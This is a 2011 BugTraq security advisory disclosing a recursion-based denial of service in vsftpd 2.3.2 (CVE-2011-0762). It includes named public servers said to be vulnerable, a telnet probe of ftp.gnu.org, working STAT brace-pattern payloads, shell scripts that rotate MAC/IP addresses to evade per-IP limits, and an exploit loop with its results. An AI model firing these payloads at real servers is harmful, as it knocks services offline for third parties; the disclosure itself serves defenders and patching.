BugTraq
vsftpd 2.3.2 remote denial-of-service Mar 01 2011 12:49PM
cxib securityreason com
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

[ vsftpd 2.3.2 remote denial-of-service ]

Author: Maksymilian Arciemowicz

http://securityreason.com/

http://cxib.net/

Date:

- - Dis.: 23.12.2010

- - Pub.: 01.03.2011

CVE: CVE-2011-0762

CERT: VU#590604

Fix: vsftpd 2.3.4 (15.02.2011)

Affected Software (verified):

- - vsftpd 2.3.2 (NetBSD 5.1)

- - vsftpd 2.3.0 (Ubuntu 10.10)

Affected Servers (19.02.2011):

- - ftp.gnu.org (2.0.6)

- - ftp.kernel.org (2.2.2)

- - ftpgen.wip4.adobe.com (2.3.2)

- - ftp.oracle.com (2.0.5)

- - ftp.freebsd.org (2.2.0)

- - more more more...

Original URL:

http://securityreason.com/achievement_securityalert/95

- --- 0.Description ---

vsftpd is a GPL licensed FTP server for UNIX systems, including Linux. It is secure and extremely fast. It is stable. Don't take my word for it, though. Below, we will see evidence supporting all three assertions. We will also see a list of a few important sites which are happily using vsftpd. This demonstrates vsftpd is a mature and trusted solution.

- --- 1. vsftpd 2.3.2 remote denial-of-service ---

As we can read in "ls.c" vsftpd file...

- ---

...

* parsing and handling. There is broad potential for any given fnmatch(3)

* implementation to be buggy.

*

* Currently supported pattern(s):

* - any number of wildcards, "*" or "?"

* - {,} syntax (not nested)

...

- ---

That true but anyone who has changed ftpd bsd daemon to vsftpd to protect before CVE-2010-2632 (glob(3) resource exhaustion) are in danger. Any code with huge complexity, could allow of denial of service if an affected system received vulnerable pattern. This bug allow to disable wide range of servers. To designate vulnerable servers, we have to used pattern with medium complexity.

- -Example affected server---

cx@cx64:~$ telnet ftp.gnu.org 21

Trying 140.186.70.20...

Connected to ftp.gnu.org.

Escape character is '^]'.

220 GNU FTP server ready.

USER anonymous

PASS abra (at) cadabra (dot) abw [email concealed]

STAT {{*},....}

...

230 Login successful.

230 Already logged in.

213-Status follows:

- -Example affected server---

Execution time may have wide range depending on the length of pattern:

empty 2388 97.3 0.0 37980 1352 ? R Dec23 222:42 /usr/sbin/vsftpd

222m and counting...

so any next {{*},Recursion} will increment the complexity. Let's see what is wrong and where. In vsftpd the main problem exists in ls.c.

- -ls.c--

int

vsf_filename_passes_filter(const struct mystr* p_filename_str,

const struct mystr* p_filter_str)

{

...

else if (last_token == '{')

{

struct str_locate_result end_brace =

str_locate_char(&filter_remain_str, '}');

must_match_at_current_pos = 1;

if (end_brace.found)

{

str_split_char(&filter_remain_str, &temp_str, '}');

str_copy(&brace_list_str, &filter_remain_str);

str_copy(&filter_remain_str, &temp_str);

str_split_char(&brace_list_str, &temp_str, ',');

while (!str_isempty(&brace_list_str))

{

str_copy(&new_filter_str, &brace_list_str);

str_append_str(&new_filter_str, &filter_remain_str);

if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL

{

ret = 1;

...

- -ls.c--

Code:

if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL

this call should be limited, and in version 2.3.4 has been fixed.

A simple way to show growth in computing power ...

(1*2*3*4*...*count(vsf_filename_passes_filter complexity)) == count(vsf_filename_passes_filter complexity)!

Compare two patterns and see different between

STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{
*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}
}}}}}}}}}

and add next {*,...}

STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{
*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}
}}}}}}}}}}}}}}}

and in the end, compare:

STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{
*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}
,{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{
{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*
},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}

hovever in vsftpd, command lenght is allowed to 4096 bytes. So it's no problem to create request with a huge complexity

To bypass max_per_ip, use ISP with dynamic ip. Disconnect and connect (example for bt mobile phone):

cx@cx64:~$ hciconfig hci0 down

cx@cx64:~$ hciconfig hci0 up

and connect again.

- ---PoC---

Download vspoc232.c and compile, then create some script to changing your ip (netbsd51: pcn0)

- -change.sh; change ip by mac(local dos)---

#!/bin/sh

# example change ip script

ifconfig pcn0 down

/etc/rc.d/dhclient stop

ifconfig pcn0 link 00:0c:0c:0c:$1:$2 active

dhclient pcn0

/etc/rc.d/dhclient start

ifconfig pcn0 up

- -change.sh; change ip by mac(local dos)---

or use mobile phone via bluetooth.

- -change.sh; conn-diss bt---

#!/bin/sh

# example change ip script

hciconfig hci0 down

hciconfig hci0 up

- -change.sh; conn-diss bt---

then run.sh

- -run.sh---

#!/bin/sh

# vsftpd exploit with change ip option

# sh run.sh [ip] [port] [user] [password]

mac=0;

echo "vsftpd exploit";

while [ $mac != 0xff ]; do {

mac=`expr $mac + 1`;

./vspoc232 $1 $2 $3 $4

sh ./change.sh 66 $mac

} done

- -run.sh---

then run and see result

sh ./run.sh 172.5.0.129 21 cx pass

on my local netbsd5.1 (default instalation), we reach to limit and no more new processes (DoS).

Result (forked dos):

cx@cx64:~$

USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND

...

root 149 0.0 0.1 2932 1152 ? Is 2:31AM 0:00.01 vsftpd /usr/pkg/e

cx 150 0.0 0.2 2956 1592 ? R 2:32AM 0:01.22 vsftpd /usr/pkg/e

cx 160 0.3 0.2 2956 1592 ? R 2:31AM 0:01.48 vsftpd /usr/pkg/e

cx 161 0.2 0.2 2956 1592 ? R 2:32AM 0:01.03 vsftpd /usr/pkg/e

root 258 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.01 vsftpd /usr/pkg/e

root 278 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.02 vsftpd /usr/pkg/e

cx 289 0.0 0.2 2956 1592 ? R 2:32AM 0:00.97 vsftpd /usr/pkg/e

cx 321 0.0 0.2 2956 1592 ? R 2:32AM 0:00.85 vsftpd /usr/pkg/e

...

root 5139 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

root 5145 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.02 vsftpd /usr/pkg/e

root 5156 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

root 5159 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

cx 5170 0.0 0.2 2956 1608 ? R 2:35AM 0:00.44 vsftpd /usr/pkg/e

root 5190 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

cx 5192 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e

cx 5242 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e

cx 5250 0.0 0.2 2956 1612 ? R 2:35AM 0:00.49 vsftpd /usr/pkg/e

root 7199 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

cx 7248 0.0 0.2 2956 1612 ? R 2:35AM 0:00.63 vsftpd /usr/pkg/e

root 7256 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

root 7276 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

bypassing max_per_ip we have created more than 5000 vsftdp children processes.

cx@cx64:~$ telnet 172.5.0.129 21

Trying 172.5.0.129...

Connected to 172.5.0.129.

Escape character is '^]'.

500 OOPS: fork

Connection closed by foreign host.

- --- 2. Exploit ---

http://cxib.net/stuff/vspoc232.c

- --- 3. Fix ---

ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.3.4/Changelog

ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz

ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz.asc

- --- 4. Greets ---

Chris Evans, sp3x, Infospec

- --- 5. Contact ---

Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:

- - cxib {a\./t] securityreason [d=t} com

GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/

http://cxib.net/

-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJNbOqVAAoJEIO8+dzW5bUwzAIP/0JQa6sG5brCN2DyMJ+1ckEE

EBXTTPlNjZ6UEKw2siJIqEkIeRXKx0878CNzKAX7vIzWLaTt0LqGUJ9S+MBu+E0x

m0ZmnPZ6FzWTQ5mIXEF4PvMsArHB72gpeqUxxtPSffl8joOXI8L4ARuMOKMb7iCj

/e0FjD2RQTDhABjpJ6PuXlW/OSrn3k5BGavi7/DEmZzon0eJckTJCYnnipAl33nC

tq/Ll10pqacEZir4ph5d6Ky/Seo5b8E6biESud7rcUor+4KX2Kt3UsJ+4N6J2U/F

7H//5Hx6EB12EMdcvx3AVntcAS1M0dXhKJKvwWhon8R+w6P4cY74ntR3n1oM37JD

7dMSro+PPlmEBZCd6OfRI4liuzmHFe5IzBJD+CHMaED+q3SlgGPfJ02CbxPUjJZD

8DsfLDYZihFu/4mDY4tG7eg+4idwJhrWGq0BxJG6Uw/YSQq9xD+qlKBQ3iRXIgCG

BCaC1N/z127aohIYaN//E9RTw8oySmhbkqPLtVXd14hQJHux38Cfpgh5f+UD0e50

8JVQtB99K4eLH1ZfEUn8DUxDszZB+2zZJJXGXd9FrgM7gc6mPIErKlaDdzPES5YW

iYkQ4YpSGQ4Q+EXQ6NL4OcRtwBL02NWoycq1PrB76VfD8Jaqizoi0kbFMwVW8Ln4

KJG2xhu2XzsdwI2DqGMq

=OKvL

-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus